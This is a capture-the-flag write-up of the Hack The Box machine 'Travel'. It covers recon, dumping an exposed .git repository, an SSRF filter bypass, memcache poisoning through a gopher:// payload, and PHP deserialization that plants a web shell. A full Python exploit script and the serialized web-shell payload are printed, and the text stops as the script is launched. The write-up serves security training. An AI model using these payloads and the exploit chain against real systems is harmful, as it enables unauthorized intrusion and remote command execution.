Introduction@Travel:~$
Column | Details |
---|---|
Name | Travel |
IP | 10.10.10.189 |
Points | 40 |
Os | Linux |
Difficulty | Hard |
Creator | XCT And JKR |
Out On | 16 May 2020 |
Brief@Travel:~$
This Box is the best box i have ever done in my life tbh and in my opinion
it should be in Insane category. The Journey of this machine starts with two of the subdomains
revealed by Nmap. Fuzzing the blog-dev.travel.htb
I came across the .git dir which is Forbidden
as obvious but we can dump it with git-dumper
. And Got some php
files understanding the code we came to a conclusion that we have the code for awesome_rss
.Bypassing the ssrf and chaining in with the php-deserialization
and php-memchache we will get a shell as www-data
.Got username and password
from a .sql file and logged in as lynik-admin
.The user lynik-admin
is the admin of the LDAP
.We can modify the enteries for users available and added any of the user to the sudoers
group so we will be able to run command as root.
Summary
Nmap
shows the subdomainblog-dev.travel.htb
- Fuzzing the Subdomain got .git and its files
- Using
git-dumper
to get the wholerepo
- Ananlyzing the php - code
- Concluded that
rss_template.php is
awesome_rss. - Got a parameter
?custom_feed_url=
- Getting response on our listener
- Trying for
ssrf
and bypassing it . - Discovering the output from the
debug.php
- Ananlyzing the memcache and the key.
- Triggering the
php - deserialization
- Building the exploit by chaining these
vulnerabilities
- Got shell as
www-data
- Found some database information from the file
wp-config.php
- Dumping data from the database and it is a rabbit hole.
- Got the
backup
.sql file - Got username and password from the file
- Logged in as
lynik-admin
- Getting user.txt
- Found two files
.ldaprc
and.viminfo
. - Got password for LDAP from vim file
- Ruuning
query
in the ldap - Modifying the entry for the user
jane
to add it insudoers
group - Got shell as
jane
- Ruuning commands as
root
using sudo - Getting root.txt
Pwned
Recon
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
➜ travel nmap -sC -sV -p- -v -oA scans/nmap-full -T4 travel.htb
# Nmap 7.70 scan initiated Sun May 17 07:15:56 2020 as: nmap -sC -sV -p- -v -oA scans/nmap-full -T4 travel.htb
Nmap scan report for travel.htb (10.10.10.189)
Host is up (0.32s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.17.6
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB
443/tcp open ssl/http nginx 1.17.6
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB - SSL coming soon.
| ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
| Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
| Issuer: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-23T19:24:29
| Not valid after: 2030-04-21T19:24:29
| MD5: ef0a a4c1 fbad 1ac4 d160 58e3 beac 9698
|_SHA-1: 0170 7c30 db3e 2a93 cda7 7bbe 8a8b 7777 5bcd 0498
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 17 07:31:49 2020 -- 1 IP address (1 host up) scanned in 953.71 seconds
So basically Three ports are opened 22:ssh
80:http
and 443:https
and if we look ssl-cert We can see clearly that there are two subdomains
- blog.travel.htb
- blog-dev.travel.htb
Added these two to the hosts
file.
Port-80
There is a timer running on the webpage
Wfuzz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
➜ travel git:(master) ✗ wfuzz -u http://travel.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 --hh 5093
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzzs documentation for more information.
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: http://travel.htb/FUZZ
Total requests: 220560
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000039: C=301 7 L 11 W 170 Ch "img"
000550: C=301 7 L 11 W 170 Ch "css"
000721: C=301 7 L 11 W 170 Ch "lib"
000953: C=301 7 L 11 W 170 Ch "js"
002963: C=301 7 L 11 W 170 Ch "newsfeed"
Dont get Pretty good
stuff from the Fuzzing this dir , only the dir newsfeed
seems to be suspicious.
Port 443 (HTTPS)
Its better if we dont use the https
Protocol XD
Blog.travel.htb
Since i have added the entry for the subdomain in the /etc/hosts
file so i can access it simply.
Fuzzing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
➜ travel git:(master) ✗ wfuzz -u http://blog.travel.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 --hh 24462
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzzs documentation for more informati
on.
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: http://blog.travel.htb/FUZZ
Total requests: 220560
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000037: C=301 0 L 0 W 0 Ch "rss"
000053: C=302 0 L 0 W 0 Ch "login"
000124: C=301 0 L 0 W 0 Ch "0"
000126: C=301 0 L 0 W 0 Ch "feed"
000169: C=301 0 L 0 W 0 Ch "atom"
000198: C=301 0 L 0 W 0 Ch "a"
000241: C=301 9 L 28 W 323 Ch "wp-content"
000259: C=302 0 L 0 W 0 Ch "admin"
000459: C=301 0 L 0 W 0 Ch "h"
000551: C=301 0 L 0 W 0 Ch "rss2"
000786: C=301 9 L 28 W 324 Ch "wp-includes"
000901: C=301 0 L 0 W 0 Ch "A"
001312: C=301 0 L 0 W 0 Ch "H"
001604: C=301 0 L 0 W 0 Ch "rdf"
001632: C=301 0 L 0 W 0 Ch "page1"
002024: C=301 0 L 0 W 0 Ch "'"
002587: C=301 0 L 0 W 0 Ch "aw"
002927: C=302 0 L 0 W 0 Ch "dashboard"
003305: C=301 0 L 0 W 0 Ch "he"
003790: C=301 0 L 0 W 0 Ch "%20"
005630: C=301 0 L 0 W 0 Ch "hello"
006627: C=301 0 L 0 W 0 Ch "2020"
007180: C=301 9 L 28 W 321 Ch "wp-admin"
007685: C=301 0 L 0 W 0 Ch "awesome"
011090: C=301 0 L 0 W 0 Ch "0000"
013934: C=301 0 L 0 W 0 Ch "hello-world"
So many dirs
or files are out there Some interesting
ones are these
awesome (Redirect to
awesome-rss
)
This seems to be some posts
details that are shown using a template.Lets see it later on
blog-dev.travel.htb
The content of the initial dir is forbidden
for us
Fuzzing (Got the .git dir)
I tried many wordlists
on the subdomain but i was literally expecting something from here and i ended up finding some juicy stuff from wordlists fuzz-Bo0oM.txt
from SecLists
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
➜ Fuzzing wfuzz -u http://blog-dev.travel.htb/FUZZ -w /usr/share/wordlists/SecLists/Fuzzing/fuzz-Bo0oM.txt --hc 404 --hh 154,157
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzzs documentation for more information.
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: http://blog-dev.travel.htb/FUZZ
Total requests: 4288
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000167: C=301 7 L 11 W 170 Ch ".git"
000171: C=200 5 L 13 W 92 Ch ".git/config"
000172: C=200 1 L 2 W 23 Ch ".git/HEAD"
000173: C=200 4 L 13 W 292 Ch ".git/index"
000175: C=200 1 L 11 W 153 Ch ".git/logs/HEAD"
000176: C=301 7 L 11 W 170 Ch ".git/logs/refs"
Total time: 147.8096
Processed Requests: 4288
Filtered Requests: 4282
Requests/sec.: 29.01027
If you can see that there is a directory
.git but only some of its files are public
But we can dump the whole repo
, Yes…Yes we can do it.
There is a tool called git-dumper
we can use it to dump the whole repo
I cloned this tool repo
to my machine and its time to run it .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜ git-dumper git:(master) ./git-dumper.py --help
usage: git-dumper.py [options] URL DIR
Dump a git repository from a website.
positional arguments:
URL url
DIR output directory
optional arguments:
-h, --help show this help message and exit
--proxy PROXY use the specified proxy
-j JOBS, --jobs JOBS number of simultaneous requests
-r RETRY, --retry RETRY
number of request attempts before giving up
-t TIMEOUT, --timeout TIMEOUT
maximum time in seconds before giving up
We need some thing to specify as args
that is URL
to the git repo we want to dump.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
➜ git-dumper git:(master) ./git-dumper.py http://blog-dev.travel.htb/ blog-dev [21/404]
[-] Testing http://blog-dev.travel.htb/.git/HEAD [200]
[-] Testing http://blog-dev.travel.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://blog-dev.travel.htb/.gitignore [404]
[-] Fetching http://blog-dev.travel.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://blog-dev.travel.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://blog-dev.travel.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://blog-dev.travel.htb/.git/description [200]
[-] Fetching http://blog-dev.travel.htb/.git/hooks/post-commit.sample [404]
[-] Fetching http://blog-dev.travel.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://blog-dev.travel.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://blog-dev.travel.htb/.git/hooks/post-receive.sample [404]
[-] Fetching http://blog-dev.travel.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://blog-dev.travel.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://blog-dev.travel.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://blog-dev.travel.htb/.git/hooks/update.sample [200]
[-] Fetching http://blog-dev.travel.htb/.git/info/exclude [200]
[-] Fetching http://blog-dev.travel.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://blog-dev.travel.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://blog-dev.travel.htb/.git/index [200]
[-] Fetching http://blog-dev.travel.htb/.git/objects/info/packs [404]
[-] Finding refs/
[-] Fetching http://blog-dev.travel.htb/.git/HEAD [200]
[-] Fetching http://blog-dev.travel.htb/.git/info/refs [404]
[-] Fetching http://blog-dev.travel.htb/.git/ORIG_HEAD [404]
[-] Fetching http://blog-dev.travel.htb/.git/FETCH_HEAD [404]
[-] Fetching http://blog-dev.travel.htb/.git/config [200]
[-] Fetching http://blog-dev.travel.htb/.git/logs/refs/remotes/origin/master [404]
[-] Fetching http://blog-dev.travel.htb/.git/logs/HEAD [200]
[-] Fetching http://blog-dev.travel.htb/.git/logs/refs/remotes/origin/HEAD [404]
[-] Fetching http://blog-dev.travel.htb/.git/logs/refs/stash [404]
[-] Fetching http://blog-dev.travel.htb/.git/logs/refs/heads/master [200]
[-] Fetching http://blog-dev.travel.htb/.git/packed-refs [404]
[-] Fetching http://blog-dev.travel.htb/.git/refs/heads/master [200]
[-] Fetching http://blog-dev.travel.htb/.git/refs/stash [404]
[-] Fetching http://blog-dev.travel.htb/.git/refs/remotes/origin/master [404]
[-] Fetching http://blog-dev.travel.htb/.git/refs/remotes/origin/HEAD [404]
[-] Fetching http://blog-dev.travel.htb/.git/refs/wip/wtree/refs/heads/master [404]
[-] Fetching http://blog-dev.travel.htb/.git/refs/wip/index/refs/heads/master [404]
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://blog-dev.travel.htb/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] Fetching http://blog-dev.travel.htb/.git/objects/03/13850ae948d71767aff2cc8cc0f87a0feeef63 [200]
[-] Fetching http://blog-dev.travel.htb/.git/objects/2b/1869f5a2d50f0ede787af91b3ff376efb7b039 [200]
[-] Fetching http://blog-dev.travel.htb/.git/objects/ed/116c7c7c51645f1e8a403bcec44873f74208e9 [200]
[-] Fetching http://blog-dev.travel.htb/.git/objects/30/b6f36ec80e8bc96451e47c49597fdd64cee2da [200]
[-] Fetching http://blog-dev.travel.htb/.git/objects/b0/2b083f68102c4d62c49ed3c99ccbb31632ae9f [200]
[-] Running git checkout .
Okay so we are done
now whole the repo
is dumped into the dir blog-dev
1
2
3
4
5
6
7
8
➜ blog-dev git:(master) ls -la
total 24
drwxr-xr-x 3 root root 4096 May 21 09:33 .
drwxr-xr-x 4 root root 4096 May 21 09:33 ..
drwxr-xr-x 7 root root 4096 May 21 09:36 .git
-rwxr-xr-x 1 root root 540 May 21 09:33 README.md
-rwxr-xr-x 1 root root 2970 May 21 09:33 rss_template.php
-rwxr-xr-x 1 root root 1387 May 21 09:33 template.php
If we run git log
1
2
3
4
5
commit 0313850ae948d71767aff2cc8cc0f87a0feeef63 (HEAD -> master)
Author: jane <jane@travel.htb>
Date: Tue Apr 21 01:34:54 2020 -0700
moved to git
There is only 1 commit done by jane
oh…we have a username i guess
So we got three
files here
README.md
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Rss Template Extension
Allows rss-feeds to be shown on a custom wordpress page.
## Setup
* `git clone https://github.com/WordPress/WordPress.git`
* copy rss_template.php & template.php to `wp-content/themes/twentytwenty`
* create logs directory in `wp-content/themes/twentytwenty`
* create page in backend and choose rss_template.php as theme
## Changelog
- temporarily disabled cache compression
- added additional security checks
- added caching
- added rss template
## ToDo
- finish logging implementation
rss_template.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
/*
Template Name: Awesome RSS
*/
include('template.php');
get_header();
?>
<main class="section-inner">
<?php
function get_feed($url){
require_once ABSPATH . '/wp-includes/class-simplepie.php';
$simplepie = null;
$data = url_get_contents($url);
if ($url) {
$simplepie = new SimplePie();
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
//$simplepie->set_raw_data($data);
$simplepie->set_feed_url($url);
$simplepie->init();
$simplepie->handle_content_type();
if ($simplepie->error) {
error_log($simplepie->error);
$simplepie = null;
$failed = True;
}
} else {
$failed = True;
}
return $simplepie;
}
$url = $_SERVER['QUERY_STRING'];
if(strpos($url, "custom_feed_url") !== false){
$tmp = (explode("=", $url));
$url = end($tmp);
} else {
$url = "http://www.travel.htb/newsfeed/customfeed.xml";
}
$feed = get_feed($url);
if ($feed->error())
{
echo '<div class="sp_errors">' . "\r\n";
echo '<p>' . htmlspecialchars($feed->error()) . "</p>\r\n";
echo '</div>' . "\r\n";
}
else {
?>
<div class="chunk focus">
<h3 class="header">
<?php
$link = $feed->get_link();
$title = $feed->get_title();
if ($link)
{
$title = "<a href='$link' title='$title'>$title</a>";
}
echo $title;
?>
</h3>
<?php echo $feed->get_description(); ?>
</div>
<?php foreach($feed->get_items() as $item): ?>
<div class="chunk">
<h4><?php if ($item->get_permalink()) echo '<a href="' . $item->get_permalink() . '">'; echo $item->get_title(); if ($item->get_permalink()) echo '</a>'; ?> <span class="footnote"><?php echo $item->get_date('j M Y, g:i a'); ?></span></h4>
<?php echo $item->get_content(); ?>
<?php
if ($enclosure = $item->get_enclosure(0))
{
echo '<div align="center">';
echo '<p>' . $enclosure->embed(array(
'audio' => './for_the_demo/place_audio.png',
'video' => './for_the_demo/place_video.png',
'mediaplayer' => './for_the_demo/mediaplayer.swf',
'altclass' => 'download'
)) . '</p>';
if ($enclosure->get_link() && $enclosure->get_type())
{
echo '<p class="footnote" align="center">(' . $enclosure->get_type();
if ($enclosure->get_size())
{
echo '; ' . $enclosure->get_size() . ' MB';
}
echo ')</p>';
}
if ($enclosure->get_thumbnail())
{
echo '<div><img src="' . $enclosure->get_thumbnail() . '" alt="" /></div>';
}
echo '</div>';
}
?>
</div>
<?php endforeach; ?>
<?php } ?>
</main>
<!--
DEBUG
<?php
if (isset($_GET['debug'])){
include('debug.php');
}
?>
-->
<?php get_template_part( 'template-parts/footer-menus-widgets' ); ?>
<?php
get_footer();
template.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
/**
Todo: finish logging implementation via TemplateHelper
*/
function safe($url)
{
// this should be secure
$tmpUrl = urldecode($url);
if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
{
die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");
}
if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
{
die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");
}
$tmp = parse_url($url, PHP_URL_HOST);
// preventing all localhost access
if($tmp == "localhost" or $tmp == "127.0.0.1")
{
die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");
}
return $url;
}
function url_get_contents ($url) {
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
$output = shell_exec($pl);
return $output;
}
class TemplateHelper
{
private $file;
private $data;
public function __construct(string $file, string $data)
{
$this->init($file, $data);
}
public function __wakeup()
{
$this->init($this->file, $this->data);
}
private function init(string $file, string $data)
{
$this->file = $file;
$this->data = $data;
file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
}
}
Analysis of both the php files
rss_template.php
If we look carefully on the code of rss_template.php
this the template for the awesome_rss
And the home-page of the blog.travel.htb
confirm it for us
Welcome to our Travel Blog. Make sure to check out our new RSS feature coming fresh from our blog-dev team!
And there is a parameter
that is used by awesome_rss
we can see that in rss_template
1
2
3
4
$url = $_SERVER['QUERY_STRING'];
if(strpos($url, "custom_feed_url") !== false){
$tmp = (explode("=", $url));
$url = end($tmp);
1
if(strpos($url, "custom_feed_url") !== false)
And the parameter will be ?custom_feed_url
template.php
If we look at its code there are some interesting
parts
1
2
3
4
5
6
7
function url_get_contents ($url) {
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
$output = shell_exec($pl);
return $output;
}
The function is getting
the url that we specify in ?custom_rss=url
and it just make a curl request to it huh !! Interesting
Lets Try it on my side
Getting reponse from the server
I will make a request
using curl on the following url
http://blog.travel.htb/awesome-rss/?custom_feed_url=my_ip
1
curl "http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.9" > /dev/null
And on my ncat
listener i got response back…Yay!
1
2
3
4
5
6
7
8
9
10
➜ prashant nc -nlvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.189.
Ncat: Connection from 10.10.10.189:60344.
GET / HTTP/1.1
Host: 10.10.14.9
User-Agent: curl/7.64.0
Accept: */*
dict:// for something better
1
curl "http://blog.travel.htb/awesome-rss/?custom_feed_url=dict://10.10.14.9" > /dev/null
Listener
1
2
3
4
5
6
7
8
9
10
11
12
➜ prashant nc -nlvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.189.
Ncat: Connection from 10.10.10.189:55204.
GET /? HTTP/1.1
Host: 10.10.14.9
User-Agent: SimplePie/1.3.1 (Feed Parser; http://simplepie.org; Allow like Gecko) Build/20130911040210
Accept-Encoding: deflate, gzip
Referer: http://10.10.14.9/?#
Accept: application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1
We got some juicy
stuff….What if we try it with ssrf
If we look at the template.php
There are few protections
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
{
die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");
}
if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
{
die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");
}
$tmp = parse_url($url, PHP_URL_HOST);
// preventing all localhost access
if($tmp == "localhost" or $tmp == "127.0.0.1")
{
die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");
}
SSRF
Ahhh…We got the error successfuly localhost:80
memcache
The line from rss_template.php
reveals that the memcache is running
1
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
twentytwenty theme dir
README.md
The line from the file reveals the new dir called wp-content/themes/twentytwenty
debug.php
There is a mention of a file called debug.php
which is commented in rss_template.php
1
2
3
4
5
6
DEBUG
<?php
if (isset($_GET['debug'])){
include('debug.php');
}
?>
After some guessing and brain farts i was able to get the location of the file debug.php
http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php
Getting memcache outpput on debug.php
Now after spemding half of my day i figured out that if we make a request to the
http://blog.travel.htb/awesome-rss/?debug&custom_feed_url=http://IP/feed.xml
Where feed.xml
will be the xml file from the
http://travel.htb/newsfeed/customfeed.xml
Hack - steps
Just Download the customfeed.xml
and serve it on your python-server and access the debug.php
and you are good to go.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
➜ travel git:(master) ✗ wget http://travel.htb/newsfeed/customfeed.xml feed.xml
--2020-05-21 14:21:41-- http://travel.htb/newsfeed/customfeed.xml
Resolving travel.htb (travel.htb)... 10.10.10.189
Connecting to travel.htb (travel.htb)|10.10.10.189|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6423 (6.3K) [text/xml]
Saving to: ‘customfeed.xml.1’
customfeed.xml.1 100%[=======================================================================>] 6.27K --.-KB/s in 0.003s
2020-05-21 14:21:42 (2.38 MB/s) - ‘customfeed.xml.1’ saved [6423/6423]
--2020-05-21 14:21:42-- http://feed.xml/
Resolving feed.xml (feed.xml)... failed: Name or service not known.
wget: unable to resolve host address ‘feed.xml’
FINISHED --2020-05-21 14:21:42--
Total wall clock time: 1.0s
Downloaded: 1 files, 6.3K in 0.003s (2.38 MB/s)
➜ travel git:(master) ✗
And now access the url
http://blog.travel.htb/awesome-rss/?debug&custom_feed_url=http://10.10.14.9:80/feed.xml
Python-server
got hitted
1
2
3
4
➜ travel git:(master) ✗ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.189 - - [21/May/2020 14:23:17] "GET /feed.xml HTTP/1.1" 200 -
10.10.10.189 - - [21/May/2020 14:23:17] "GET /feed.xml HTTP/1.1" 200 -
And now if we access the url
http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php
We can the data dumped from the memchache
Got the following data
1
| xct_641ca1d89d(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
Ahh..yes we got it cheers !!
But the question
is whats it ? i mean what is 641ca1d89d
and a:4:{s:5:"child";a:1:{s:0:"";a:1:{
Well These are the partial strings.
Php - Deserialization
The Code used in template.php
is used for php - serialization
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class TemplateHelper
{
private $file;
private $data;
public function __construct(string $file, string $data)
{
$this->init($file, $data);
}
public function __wakeup()
{
$this->init($this->file, $this->data);
}
private function init(string $file, string $data)
{
$this->file = $file;
$this->data = $data;
file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
}
}
You can read about this thing here
https://www.notsosecure.com/remote-code-execution-via-php-unserialize/
Ananlyzing what we need
I came across a tool called Gopherus
Where its just generating a gopher
payload to exploit ssrf since we know that there exist a php-memcache
so we can go for this tool.
Bypassing SSRF Filter
So its a very easy to bypass
this filter since its only checking for the
- localhost
- 127.0.0.1
We can use LOCALHOST
or 127.00.0.1
or 127.1
or anything you would like.
Building the exploit
If we look at the code from template.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class TemplateHelper
{
private $file;
private $data;
public function __construct(string $file, string $data)
{
$this->init($file, $data);
}
public function __wakeup()
{
$this->init($this->file, $this->data);
}
private function init(string $file, string $data)
{
$this->file = $file;
$this->data = $data;
file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
}
}
The class is TemplateHelper
and it using two variables file
and data
logs dir
1
file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
The content from the ssrf is going to save in dir logs
/logs/file
Cool !!!!!….
What is the key for the memcache service
If we look up at the docs
of simplepie we can see that the service is just converting the url to the md5 hash
of the url we specify.
You can read about the docs here
1
md5(md5($url):"spc")
Oh…we almost got it ….The hash we got from the debug.php
was a md5 but partial and the values were also partial….
1
| xct_641ca1d89d(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
This 641ca1d89d
is a partial md5 hash of the url that we specified
gophers
If we look at the tool Gopherus
it has a seperate module called phpmemcache
which is just configured according to the user requirements who made it . We need to do some changes in it. Like the key
and the value
of its.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import urllib
def PHPMemcached():
print "\033[01m" + "\nThis is usable when you know Class and Variable name used by user\n"+ "\033[0m"
code = raw_input("\033[96m" +"Give serialization payload\nexample: O:5:\"Hello\":0:{} : "+ "\033[0m")
if(not code):
print "\033[93m" + "Plz give payload" + "\033[0m"
exit()
payload = "%0d%0aset SpyD3r 4 0 " + str(len(code)) + "%0d%0a" + code + "%0d%0a"
finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m"
print "\033[04m" + "gopher://127.0.0.1:11211/_" + finalpayload + "\033[0m"
print "\033[93m" +"\nAfter everything done, you can delete memcached item by using this payload: \n"+ "\033[0m"
print "\033[04m" + "gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a"+ "\033[0m"
print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"
This is the PHPMemcached.py
from the tool Gopherus
Here we can see that its using 127.0.0.1
and the key as SpyD3r
.
The changes we are going to do in our script will be
- 127.00.0.1
- The required key rather than SpyD3r
- The varibale code
The proper key and values
The proper key will be the
md5(md5("http://www.travel.htb/newsfeed/customfeed.xml"):"spc")
That will be 4e5612ba079c530a6b1f148c0b352241
Since it follows a pattern of xct_key the final key will be
1
xct_4e5612ba079c530a6b1f148c0b352241
And the values will be as the serialized - payload
Hack - steps
So..what i am going to do is first i will php-serialization + ssrf + phpmemcache Where i will trigger the payload that will be in serialized
manner and after that i will trigger the php-deserialization
and will get the rce.
code variable
1
code = 'O:14:"TemplateHelper":2:{s:4:"file";s:'+str(len(file))+':"'+file+'";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'
payload for serialzation
1
2
payload = "%0d%0aset xct_4e5612ba079c530a6b1f148c0b352241 4 0 " + str(len(code)) + "%0d%0a" + code + "%0d%0a"
encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
And now i will encode
it
1
encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
And then i will supply the url in the
1
http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url=encodedpayload
And after that i will trigger the deserialization
1
http://blog.travel.htb/wp-content/themes/twentytwenty/logs/file
And this will trigger the deserialization
And after that i can simply run commands on my web shell
Here is the full script that will do all the work for me
0xprashant.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import urllib
LHOST="10.10.14.9"
file = "0xprashant.php"
url = "http://blog.travel.htb/"
def payload ():
code = 'O:14:"TemplateHelper":2:{s:4:"file";s:'+str(len(file))+':"'+file+'";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'
#md5(md5("http://www.travel.htb/newsfeed/customfeed.xml"):"spc") = 4e5612ba079c530a6b1f148c0b352241
payload = "%0d%0aset xct_4e5612ba079c530a6b1f148c0b352241 4 0 " + str(len(code)) + "%0d%0a" + code + "%0d%0a"
encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
return "gopher://127.00.0.1:11211/_" + encodedpayload
payload = payload()
print "[+]payload is=: " + payload
print "[+] Requesting using ssrf in phpmemcache"
ssrf_url = url+"awesome-rss/?debug=yes&custom_feed_url="+payload
print ssrf_url
r = requests.get(ssrf_url)
print "[+] Its time for deserialization"
r = requests.get(url+"awesome-rss/")
payload_url = url + "wp-content/themes/twentytwenty/logs/"+file
print payload_url
while True:
print payload_url
r = requests.get(payload_url)
print(r.status_code)
if r.status_code == 200:
break;
print "[+] You are ready to go"
print "[+] Run commands on web shell now"
Getting shell as www-data
Running the exploit is the way to go now…..!!!!
1
2
3
4
5
6
7
8
9
10
➜ travel git:(master) ✗ python 0xprashant.py
